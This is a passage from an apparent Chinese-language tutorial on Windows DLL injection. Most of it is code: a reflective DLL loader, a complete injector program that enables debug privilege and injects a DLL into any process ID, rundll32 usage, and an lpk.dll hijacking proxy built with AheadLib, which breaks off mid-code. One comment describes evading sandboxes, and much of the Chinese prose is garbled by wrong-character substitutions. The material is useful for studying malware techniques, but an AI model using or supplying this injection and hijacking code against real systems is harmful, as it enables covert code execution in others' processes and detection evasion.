// the functions we need LOADLIBRARYA pLoadLibraryA = NULL; GETPROCADDRESS pGetProcAddress = NULL; VIRTUALALLOC pVirtualAlloc = NULL; NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; USHORT usCounter; // the initial location of this image in memory ULONG_PTR uiLibraryAddress; // the kernels base address and later this images newly loaded base address ULONG_PTR uiBaseAddress; // variables for processing the kernels export table ULONG_PTR uiAddressArray; ULONG_PTR uiNameArray; ULONG_PTR uiExportDir; ULONG_PTR uiNameOrdinals; DWORD dwHashValue; // variables for loading this image ULONG_PTR uiHeaderValue; ULONG_PTR uiValueA; ULONG_PTR uiValueB; ULONG_PTR uiValueC; ULONG_PTR uiValueD; ULONG_PTR uiValueE; // STEP 0: calculate our images current base address // we will start searching backwards from our callers return address. // The _ReturnAddress intrinsic provides the address of the instruction in the calling function that will be executed after control returns to the caller. uiLibraryAddress = caller(); // loop through memory backwards searching for our images base address // we dont need SEH style search as we shouldnt generate any access violations with this while( TRUE ) { // 经过逐个DWORD搜索0x5A4D // MZ关键字动态搜索DLL的文件头 if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) { uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) { uiHeaderValue += uiLibraryAddress; // break if we have found a valid MZ/PE header if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) break; } } uiLibraryAddress--; } // STEP 1: process the kernels exports for the functions our loader needs... // get the Process Enviroment Block // 获取PEB #ifdef WIN_X64 uiBaseAddress = __readgsqword( 0x60 ); #else #ifdef WIN_X86 uiBaseAddress = __readfsdword( 0x30 ); #else WIN_ARM uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); #endif #endif // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; /* 动态获取API函数地址 KERNEL32DLL_HASH(LOADLIBRARYA、GETPROCADDRESS、VIRTUALALLOC) NTDLLDLL_HASH(pNtFlushInstructionCache) */ // get the first entry of the InMemoryOrder module list uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; while( uiValueA ) { // get pointer to current modules name (unicode string) uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; // set bCounter to the length for the loop usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; // clear uiValueC which will store the hash of the module name uiValueC = 0; // compute the hash of the module name... do { uiValueC = ror( (DWORD)uiValueC ); // normalize to uppercase if the madule name is in lowercase if( *((BYTE *)uiValueB) >= 'a' ) uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while( --usCounter ); // compare the hash with that of kernel32.dll if( (DWORD)uiValueC == KERNEL32DLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 3; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == LOADLIBRARYA_HASH ) pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == GETPROCADDRESS_HASH ) pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); else if( dwHashValue == VIRTUALALLOC_HASH ) pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } else if( (DWORD)uiValueC == NTDLLDLL_HASH ) { // get this modules base address uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; // get the VA of the modules NT Header uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of name pointers uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); // get the VA for the array of name ordinals uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); usCounter = 1; // loop while we still have imports to find while( usCounter > 0 ) { // compute the hash values for this function name dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); // if we have found a function we want we get its virtual address if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) { // get the VA for the array of addresses uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use this functions name ordinal as an index into the array of name pointers uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); // store this functions VA if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); // decrement our counter usCounter--; } // get the next exported function name uiNameArray += sizeof(DWORD); // get the next exported function name ordinal uiNameOrdinals += sizeof(WORD); } } // we stop searching when we have found everything we need. if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) break; // get the next entry uiValueA = DEREF( uiValueA ); } // STEP 2: load our image into a new permanent location in memory... // get the VA of the NT Header for the PE to be loaded uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // allocate all the memory for the DLL to be loaded into. we can load at any address because we will // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. // 从新在目标被注入进程中申请一块新的可读可写可执行内存 uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); // we must now copy over the headers // 写入DLL的文件头 uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; uiValueB = uiLibraryAddress; uiValueC = uiBaseAddress; while( uiValueA-- ) *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; // STEP 3: load in all of our sections... // uiValueA = the VA of the first section uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); // itterate through all sections, loading them into memory. // 从DLL中逐个节拷贝到目标进程中 uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; while( uiValueE-- ) { // uiValueB is the VA for this section uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); // uiValueC if the VA for this sections data uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); // copy the section over uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; while( uiValueD-- ) *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; // get the VA of the next section uiValueA += sizeof( IMAGE_SECTION_HEADER ); } // STEP 4: process our images import table... // 在被注入进程的内存空间中重建写入DLL的导入表 // uiValueB = the address of the import directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; // we assume their is an import table to process // uiValueC is the first entry in the import table uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // itterate through all imports while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) { // use LoadLibraryA to load the imported module into memory uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); // uiValueD = VA of the OriginalFirstThunk uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); // itterate through all imported functions, importing by ordinal if no name present while( DEREF(uiValueA) ) { // sanity check uiValueD as some compilers only import by FirstThunk if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) { // get the VA of the modules NT Header uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; // uiNameArray = the address of the modules export directory entry uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; // get the VA of the export directory uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); // get the VA for the array of addresses uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); // use the import ordinal (- export ordinal base) as an index into the array of addresses uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); // patch in the address for this imported function DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); } else { // get the VA of this functions import by name struct uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); // use GetProcAddress and patch in the address for this imported function DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); } // get the next imported function uiValueA += sizeof( ULONG_PTR ); if( uiValueD ) uiValueD += sizeof( ULONG_PTR ); } // get the next import uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); } // STEP 5: process all of our images relocations... // 在被注入进程的内存空间中对DLL导入函数进行重定位 // calculate the base address delta and perform relocations (even if we load at desired image base) uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; // uiValueB = the address of the relocation directory uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; // check if their are any relocations present if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) { // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); // and we itterate through all entries... while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) { // uiValueA = the VA for this relocation block uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); // uiValueB = number of entries in this relocation block uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); // uiValueD is now the first entry in the current relocation block uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); // we itterate through all the entries in the current block... while( uiValueB-- ) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we dont use a switch statement to avoid the compiler building a jump table // which would not be very position independent! if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; #ifdef WIN_ARM // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) { register DWORD dwInstruction; register DWORD dwAddress; register WORD wImm; // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); // flip the words to get the instruction as expected dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); // sanity chack we are processing a MOV instruction... if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) { // pull out the encoded 16bit value (the high portion of the address-to-relocate) wImm = (WORD)( dwInstruction & 0x000000FF); wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); // apply the relocation to the target address dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; // now create a new instruction with the same opcode and register param. dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); // patch in the relocated address... dwInstruction |= (DWORD)(dwAddress & 0x00FF); dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; // now flip the instructions words and patch back into the code... *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); } } #endif else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); // get the next entry in the current relocation block uiValueD += sizeof( IMAGE_RELOC ); } // get the next entry in the relocation directory uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; } } // STEP 6: call our images entry point // 经过函数指针调用被注入进程的内存空间中的DLL入口地址,这里使用的就是真实的DllMain地址,实际上可使用一个修改了EntryPoint的DLL,这种DLL能够躲避sandbox的运行 // uiValueA = the VA of our newly loaded DLL/EXE's entry point uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); // call our respective entry point, fudging our hInstance value #ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); #else // if we are injecting an DLL via a stub we call DllMain with no parameter ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); #endif // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. return uiValueA; } //===============================================================================================// #ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) { BOOL bReturnValue = TRUE; switch( dwReason ) { case DLL_QUERY_HMODULE: if( lpReserved != NULL ) *(HMODULE *)lpReserved = hAppInstance; break; case DLL_PROCESS_ATTACH: hAppInstance = hinstDLL; break; case DLL_PROCESS_DETACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: break; } return bReturnValue; } #endif //===============================================================================================//
0x2: Inject.c
//===============================================================================================// // Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without modification, are permitted // provided that the following conditions are met: // // * Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright notice, this list of // conditions and the following disclaimer in the documentation and/or other materials provided // with the distribution. // // * Neither the name of Harmony Security nor the names of its contributors may be used to // endorse or promote products derived from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE // POSSIBILITY OF SUCH DAMAGE. //===============================================================================================// #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <stdio.h> #include <stdlib.h> #include "LoadLibraryR.h" #pragma comment(lib,"Advapi32.lib") #define BREAK_WITH_ERROR( e ) { printf( "[-] %s. Error=%d", e, GetLastError() ); break; } // Simple app to inject a reflective DLL into a process vis its process ID. int main( int argc, char * argv[] ) { HANDLE hFile = NULL; HANDLE hModule = NULL; HANDLE hProcess = NULL; HANDLE hToken = NULL; LPVOID lpBuffer = NULL; DWORD dwLength = 0; DWORD dwBytesRead = 0; DWORD dwProcessId = 0; TOKEN_PRIVILEGES priv = {0}; #ifdef WIN_X64 char * cpDllFile = "reflective_dll.x64.dll"; #else #ifdef WIN_X86 char * cpDllFile = "reflective_dll.dll"; #else WIN_ARM char * cpDllFile = "reflective_dll.arm.dll"; #endif #endif do { // Usage: inject.exe [pid] [dll_file] if( argc == 1 ) dwProcessId = GetCurrentProcessId(); else dwProcessId = atoi( argv[1] ); if( argc >= 3 ) cpDllFile = argv[2]; hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); if( hFile == INVALID_HANDLE_VALUE ) BREAK_WITH_ERROR( "Failed to open the DLL file" ); dwLength = GetFileSize( hFile, NULL ); if( dwLength == INVALID_FILE_SIZE || dwLength == 0 ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength ); if( !lpBuffer ) BREAK_WITH_ERROR( "Failed to get the DLL file size" ); if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE ) BREAK_WITH_ERROR( "Failed to alloc a buffer!" ); if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) { priv.PrivilegeCount = 1; priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) ) AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ); CloseHandle( hToken ); } hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId ); if( !hProcess ) BREAK_WITH_ERROR( "Failed to open the target process" ); // 将待注入的DLL经过ReflectiveLoader注入到目标进程空间中 hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL ); if( !hModule ) BREAK_WITH_ERROR( "Failed to inject the DLL" ); printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId ); WaitForSingleObject( hModule, -1 ); } while( 0 ); if( lpBuffer ) HeapFree( GetProcessHeap(), 0, lpBuffer ); if( hProcess ) CloseHandle( hProcess ); return 0; }
Relevant Link:
https://msdn.microsoft.com/en-us/library/64ez38eh.aspx https://github.com/stephenfewer/ReflectiveDLLInjection https://countercept.com/our-thinking/threat-hunting-for-fileless-malware/ http://bobao.360.cn/learning/detail/3883.html http://bobao.360.cn/learning/detail/3881.html https://msdn.microsoft.com/zh-cn/library/d8ba5k1h(v=vs.90).aspx https://countercept.com/our-thinking/doublepulsar-usermode-analysis-generic-reflective-dll-loader/ https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/
14. 经过系统指令rundll32.exe执行DLL中指定函数
Rundll32 dllname.dll,funcname
# or
Rundll32 dllname.dll,#funcnumber
Relevant Link:
https://technet.microsoft.com/en-us/library/ee649171(v=ws.11).aspx
15. DLL劫持 - lpk.dll
0x1: 原理
每一个PE文件都有一个"导入表",pe文件在加载时,会优先加载"导入表"中的PE文件。进程在运行时,会从"导入表"中获取要加载的DLL的名称,而后按照指定的目录顺序去加载这些dll。"导入表"中有系统dll,也有程序自带的dll,所以dll劫持可再细分为
1. 系统dll劫持: 替换系统原生dll(例如kernel32.dll) 2. 程序自带dll劫持(随应用程序分发的dll)
DLL在被加载时有个搜索顺序
1. 当注册表HKLM\System\CurrentControlSet\Control\Session Manager键值下的属性SafeDllSearchMode的值设置为1时,DLL搜索顺序以下 1) 应用程序EXE所在的路径。 2) 系统目录。 3) 16位系统目录 4) Windows目录 5) 当前目录 6) PATH环境变量指定的目录 2. 当SafeDllSearchMode的值为0时,dll搜索顺序又会变为 1) 应用程序EXE所在的路径。 2) 当前目录 3) 系统目录。 4) 16位系统目录 5) Windows目录 6) PATH环境变量指定的目录
然而在实际的”系统dll劫持“操做中,咱们会发现并非全部dll都能被劫持,xp和win7及win7之后的系统劫持效果也有所不一样。Win7及之后的系统增长了HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs 来拒绝部分系统dll被劫持。该注册表中的dll名称不容许被劫持,即系统dll劫持会失败。
不过,微软又莫名其妙的容许用户在上述注册表路径中添加“ExcludeFromKnownDlls”注册表项,排除一些被“KnownDLLs注册表项”机制保护的DLL。也就是说,只要在“ExcludeFromKnownDlls”注册表项中添加你想劫持的DLL名称就能够对该DLL进行劫持,不过修改以后须要从新启动电脑才能生效
除了系统dll劫持以外,黑客还经常使用针对某个应用程序一块儿分发的dll的劫持,这种dll劫持系统自己不提供保护,须要应用程序本身去作签名和完整性校验
DLL劫持主要是由于Windows的资源共享机制。为了尽量多得安排资源共享,微软建议多个应用程序共享的任何模块应该放在Windows的系统目录中,如kernel32.dll,这样可以方便找到。可是随着时间的推移,安装程序会用旧文件或者未向后兼容的新文件来替换系统目录下的文件,这样会使一些其余的应用程序没法正确执行,所以,微软改变了策略,建议应用程序将全部文件放到本身的目录中去,而不要去碰系统目录下的任何东西。
为了提供这样的功能,在Window2000开始,微软加了一个特性,强制操做系统的加载程序首先从应用程序目录中加载模块,只有当加载程序没法在应用程序目录中找到文件,才搜索其余目录。利用系统的这个特性,就可使应用程序强制加载咱们指定的DLL作一些特殊的工做。
例如,Windows的系统目录下有一个名为LPK.DLL的系统文件,程序运行时会在c:\Windows\system32文件夹下找到这个DLL文件并加载它。如打开记事本程序
HKLM\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 1. 若是为1,搜索的顺序为: 应用程序所在目录 -> 系统目录(用GetSystemDirectory获取) -> 16位系统目录 -> Windows目录(用GetWindowsDirectory获取) -> 运行程序的当前目录 -> PATH环境变量 2. 若是为0,搜索顺序为: 应用程序所在目录 -> 运行程序的当前目录 -> 系统目录(用GetSystemDirectory获取) -> 16位系统目录 -> Windows目录(用GetWindowsDirectory获取) -> PATH环境变量
Windows Server 2003默认值为1,Windows XP/2000默认值为0或者没有这个键值。可是无论是哪一种状况,第一个搜索的确定是应用程序的所在目录,这样就有机会让应用程序去加载咱们的DLL。若是这个DLL和系统目录下的某个DLL同名,导出表也相同,功能就是加载系统目录下的那个DLL,而且将导出表转发到那个真实的DLL。这时DLL劫持就发生了。能够看出,构造一个符合上面要求的DLL,再将其放在可执行文件的目录便可实现DLL劫持了
0x2: DLL劫持的实现
经过编程来实现一个LPK.DLL文件,它与系统目录下的LPK.DLL导出表相同,并能加载系统目录下的LPK.DLL,而且能将导出表转发到真实的LPK.DLL
1. 构造一个与系统目录下LPK.DLL同样的导出表 2. 加载系统目录下的LPK.DLL 3. 将导出函数转发到系统目录下的LPK.DLL上 4. 在初始化函数中加入咱们要执行的代码
lpk.cpp
// lpk.cpp : Defines the entry point for the DLL application. // #pragma comment(lib, "user32.lib") //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 头文件 #include "stdafx.h" //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 导出函数 #pragma comment(linker, "/EXPORT:LpkInitialize=_AheadLib_LpkInitialize,@1") #pragma comment(linker, "/EXPORT:LpkTabbedTextOut=_AheadLib_LpkTabbedTextOut,@2") #pragma comment(linker, "/EXPORT:LpkDllInitialize=_AheadLib_LpkDllInitialize,@3") #pragma comment(linker, "/EXPORT:LpkDrawTextEx=_AheadLib_LpkDrawTextEx,@4") //#pragma comment(linker, "/EXPORT:LpkEditControl=_AheadLib_LpkEditControl,@5") #pragma comment(linker, "/EXPORT:LpkExtTextOut=_AheadLib_LpkExtTextOut,@6") #pragma comment(linker, "/EXPORT:LpkGetCharacterPlacement=_AheadLib_LpkGetCharacterPlacement,@7") #pragma comment(linker, "/EXPORT:LpkGetTextExtentExPoint=_AheadLib_LpkGetTextExtentExPoint,@8") #pragma comment(linker, "/EXPORT:LpkPSMTextOut=_AheadLib_LpkPSMTextOut,@9") #pragma comment(linker, "/EXPORT:LpkUseGDIWidthCache=_AheadLib_LpkUseGDIWidthCache,@10") #pragma comment(linker, "/EXPORT:ftsWordBreak=_AheadLib_ftsWordBreak,@11") //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // 宏定义 #define EXTERNC extern "C" #define NAKED __declspec(naked) #define EXPORT __declspec(dllexport) #define ALCPP EXPORT NAKED #define ALSTD EXTERNC EXPORT NAKED void __stdcall #define ALCFAST EXTERNC EXPORT NAKED void __fastcall #define ALCDECL EXTERNC NAKED void __cdecl //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// //LpkEditControl导出的是数组,不是单一的函数(by Backer) EXTERNC void __cdecl AheadLib_LpkEditControl(void); EXTERNC __declspec(dllexport) void (*LpkEditControl[14])() = {AheadLib_LpkEditControl}; //////////////////////////////////////////////////////////////////////////////////////////////// //添加全局变量 //////////////////////////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // AheadLib 命名空间 namespace AheadLib { HMODULE m_hModule = NULL; // 原始模块句柄 // 加载原始模块 inline BOOL WINAPI Load() { TCHAR tzPath[MAX_PATH]; TCHAR tzTemp[MAX_PATH * 2]; GetSystemDirectory(tzPath, MAX_PATH); lstrcat(tzPath, TEXT("\\lpk")); m_hModule=LoadLibrary(tzPath); if (m_hModule == NULL) { wsprintf(tzTemp, TEXT("没法加载 %s,程序没法正常运行。"), tzPath); MessageBox(NULL, tzTemp, TEXT("AheadLib"), MB_ICONSTOP); }; return (m_hModule != NULL); } // 释放原始模块 inline VOID WINAPI 